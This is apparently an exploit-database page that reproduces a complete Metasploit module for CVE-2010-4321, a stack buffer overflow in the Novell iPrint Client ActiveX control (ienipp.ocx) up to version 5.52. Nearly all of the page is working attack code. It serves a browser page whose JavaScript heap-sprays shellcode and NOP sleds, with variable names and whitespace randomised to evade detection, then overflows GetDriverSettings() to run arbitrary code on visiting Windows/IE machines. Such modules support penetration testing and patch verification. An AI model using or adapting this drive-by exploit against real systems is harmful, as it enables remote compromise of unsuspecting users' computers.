Novell iPrint Client ActiveX Control <= 5.52 Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Novell iPrint Client ActiveX Control <= 5.52 Buffer Overflow when sending a long string to the GetDriverSettings() property of ienipp.ocx

                                                ##
# $Id: novelliprint_getdriversettings_2.rb 11888 2011-03-07 02:28:15Z bannedit $
##

###
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super( update_info(info,
			&#39;Name&#39;           =&#62; &#39;Novell iPrint Client ActiveX Control &#60;= 5.52 Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in Novell iPrint Client 5.52. When
				sending an overly long string to the GetDriverSettings() property of ienipp.ocx
				an attacker may be able to execute arbitrary code.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;mr_me &#60;steventhomasseeley[at]gmail.com&#62;&#39;, # metasploit module
					&#39;Dr_IDE&#39; # original Exploit from exploit-db.com
				 ],
			&#39;Version&#39;        =&#62; &#39;$Revision: 11888 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2010-4321&#39; ],
					[ &#39;BID&#39;, &#39;44966&#39; ],
					[ &#39;OSVDB&#39;, &#39;69357&#39; ],
					[ &#39;URL&#39;, &#39;http://www.zerodayinitiative.com/advisories/ZDI-10-256/&#39; ],
					[ &#39;URL&#39;, &#39;http://www.exploit-db.com/exploits/16014/&#39; ],
					[ &#39;URL&#39;, &#39;http://www.novell.com/support/viewContent.do?externalId=7007234&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 1024,
					&#39;BadChars&#39; =&#62; &#34;\x00&#34;,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ 
						&#39;Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7&#39;,
							{ 
								&#39;Ret&#39; =&#62; 0x0A0A0A0A
							}
					]
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Nov 15 2010&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Create some nops.
		nops = Rex::Text.to_unescape(make_nops(4))

		# Set the return.
		ret = Rex::Text.uri_encode([target.ret].pack(&#39;L&#39;))

		# Randomize the javascript variable names.
		vname  = rand_text_alpha(rand(100) + 1)
		var_i  = rand_text_alpha(rand(30)  + 2)
		rand1  = rand_text_alpha(rand(100) + 1)
		rand2  = rand_text_alpha(rand(100) + 1)
		rand3  = rand_text_alpha(rand(100) + 1)
		rand4  = rand_text_alpha(rand(100) + 1)
		rand5  = rand_text_alpha(rand(100) + 1)
		rand6  = rand_text_alpha(rand(100) + 1)
		rand7  = rand_text_alpha(rand(100) + 1)
		rand8  = rand_text_alpha(rand(100) + 1)

		content = %Q|&#60;html&#62;
&#60;object id=&#39;#{vname}&#39; classid=&#39;clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C&#39;&#62;&#60;/object&#62;
&#60;script language=&#34;JavaScript&#34;&#62;
var #{rand1} = unescape(&#39;#{shellcode}&#39;);
var #{rand2} = unescape(&#39;#{nops}&#39;);
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length &#60; #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} &#60; 0x50000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} &#60; 200; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = &#34;&#34;;
for (#{var_i} = 0; #{var_i} &#60; 250; #{var_i}++) { #{rand8} = #{rand8} + unescape(&#39;#{ret}&#39;) }
#{vname}.GetDriverSettings(#{rand8}, #{vname}, #{vname}, #{vname});
&#60;/script&#62;
&#60;/html&#62;
|
		content = Rex::Text.randomize_space(content)

		print_status(&#34;Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...&#34;)

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end
end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1